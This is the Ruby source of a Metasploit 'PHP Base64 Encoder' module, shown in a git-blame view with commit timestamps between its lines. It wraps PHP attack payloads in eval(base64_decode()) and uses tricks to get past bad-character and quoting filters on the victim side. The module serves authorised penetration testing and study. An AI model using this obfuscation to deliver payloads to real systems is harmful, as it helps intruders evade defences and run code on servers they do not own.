2008-07-01 01:44:56 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-07-01 01:44:56 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Encoder
2010-07-20 06:27:14 +00:00
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
2008-07-01 01:44:56 +00:00
def initialize
super (
2023-03-02 21:43:41 +01:00
'Name' = > 'PHP Base64 Encoder' ,
'Description' = > %q{
2008-07-01 01:44:56 +00:00
This encoder returns a base64 string encapsulated in
2009-04-19 02:31:34 +00:00
eval(base64_decode()), increasing the size by a bit more than
one third.
2008-07-01 01:44:56 +00:00
} ,
2023-03-02 21:43:41 +01:00
'Author' = > 'egypt' ,
'License' = > BSD_LICENSE ,
'Arch' = > ARCH_PHP )
2024-08-09 12:52:44 -07:00
register_options (
[
2024-08-26 16:35:29 -04:00
OptBool . new ( 'Compress' , [ true , 'Compress the payload with zlib' , false ] ) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups.
2025-04-14 00:10:31 +10:00
]
)
2008-07-01 01:44:56 +00:00
end
2013-08-30 16:28:54 -05:00
2008-07-01 01:44:56 +00:00
def encode_block ( state , buf )
2010-06-23 08:23:00 +00:00
# Have to have these for the decoder stub, so if they're not available,
# there's nothing we can do here.
2023-03-02 21:43:41 +01:00
%w[ c h r ( ) . e v a l b a s e 6 4 _ d e c o d e ; ] . uniq . each do | c |
2015-05-18 15:25:26 -05:00
raise BadcharError if state . badchars . include? ( c )
2010-06-23 08:23:00 +00:00
end
2013-08-30 16:28:54 -05:00
2024-08-09 12:52:44 -07:00
if datastore [ 'Compress' ]
%w[ g z u n c o m p r e s s ] . uniq . each do | c |
raise BadcharError if state . badchars . include? ( c )
end
end
2023-03-02 17:46:21 -06:00
# Modern versions of PHP choke on unquoted literal strings.
2023-03-02 21:40:27 +01:00
quote = " ' "
if state . badchars . include? ( " ' " )
2025-04-14 00:10:31 +10:00
raise BadcharError . new , " The #{ name } encoder failed to encode the decoder stub without bad characters. " if state . badchars . include? ( '"' )
2023-03-02 21:43:41 +01:00
2023-03-02 21:40:27 +01:00
quote = '"'
end
2024-08-09 12:52:44 -07:00
if datastore [ 'Compress' ]
buf = Zlib :: Deflate . deflate ( buf )
end
2008-07-01 01:44:56 +00:00
# PHP escapes quotes by default with magic_quotes_gpc, so we use some
# tricks to get around using them.
#
# The raw, unquoted base64 without the terminating equals works because
# PHP treats it like a string. There are, however, a couple of caveats
# because first, PHP tries to parse the bare string as a constant.
# Because of this, the string is limited to things that can be
# identifiers, i.e., things that start with [a-zA-Z] and contain only
# [a-zA-Z0-9_]. Also, for payloads that encode to more than 998
# characters, only part of the payload gets unencoded on the victim,
2009-04-19 02:31:34 +00:00
# presumably due to a limitation in PHP identifier name lengths, so we
# break the encoded payload into roughly 900-byte chunks.
2018-07-10 17:40:31 -05:00
#
# https://wiki.php.net/rfc/deprecate-bareword-strings
2013-08-30 16:28:54 -05:00
2008-07-01 01:44:56 +00:00
b64 = Rex :: Text . encode_base64 ( buf )
2013-08-30 16:28:54 -05:00
2008-07-01 01:44:56 +00:00
# The '=' or '==' used for padding at the end of the base64 encoded
# data is unnecessary and can cause parse errors when we use it as a
# raw string, so strip it off.
b64 . gsub! ( / [= \ n]+ / , '' )
2013-08-30 16:28:54 -05:00
2024-01-07 14:06:31 -05:00
# Similarly, when we separate large payloads into chunks to avoid the
2009-04-19 02:31:34 +00:00
# 998-byte problem mentioned above, we have to make sure that the first
# character of each chunk is an alpha character. This simple algorithm
# will create a broken string in the case of 99 consecutive digits,
# slashes, and plusses in the base64 encoding, but the likelihood of
# that is low enough that I don't care.
2023-03-02 21:43:41 +01:00
i = 900
2008-07-01 01:44:56 +00:00
while i < b64 . length
2023-03-02 21:43:41 +01:00
i += 1 while ( b64 [ i ] . chr =~ %r{ [0-9/+] } )
b64 . insert ( i , '.' )
2008-07-01 01:44:56 +00:00
i += 900
end
2013-08-30 16:28:54 -05:00
2009-04-19 02:31:34 +00:00
# Plus characters ('+') in a uri are converted to spaces, so replace
# them with something that PHP will turn into a plus. Slashes cause
# parse errors on the server side, so do the same for them.
2024-08-09 12:07:39 -07:00
b64 . gsub! ( '+' , " #{ quote } .chr(43). #{ quote } " )
b64 . gsub! ( '/' , " #{ quote } .chr(47). #{ quote } " )
2013-08-30 16:28:54 -05:00
2010-06-23 08:23:00 +00:00
state . badchars . each_byte do | byte |
2011-02-22 01:59:17 +00:00
# Last ditch effort, if any of the normal characters used by base64
# are badchars, try to replace them with something that will become
# the appropriate thing on the other side.
2010-07-01 23:33:07 +00:00
if b64 . include? ( byte . chr )
2024-08-09 12:07:39 -07:00
b64 . gsub! ( byte . chr , " #{ quote } .chr( #{ byte } ). #{ quote } " )
2010-06-23 08:23:00 +00:00
end
end
2013-08-30 16:28:54 -05:00
2009-04-30 06:11:56 +00:00
# In the case where a plus or slash happened at the end of a chunk,
# we'll have two dots next to each other, so fix it up. Note that this
# is searching for literal dots, not a regex matching any two
# characters
2023-03-02 21:43:41 +01:00
b64 . gsub! ( '..' , '.' )
2013-08-30 16:28:54 -05:00
2011-02-22 01:59:17 +00:00
# Some of the shenanigans above could have appended a dot, which will
# cause a syntax error. Remove any trailing dots.
2023-03-02 21:43:41 +01:00
b64 . chomp! ( '.' )
2013-08-30 16:28:54 -05:00
2024-08-09 12:52:44 -07:00
if datastore [ 'Compress' ]
return 'eval(gzuncompress(base64_decode(' + quote + b64 + quote + ')));'
else
return 'eval(base64_decode(' + quote + b64 + quote + '));'
end
2008-07-01 01:44:56 +00:00
end
2009-04-19 02:31:34 +00:00
end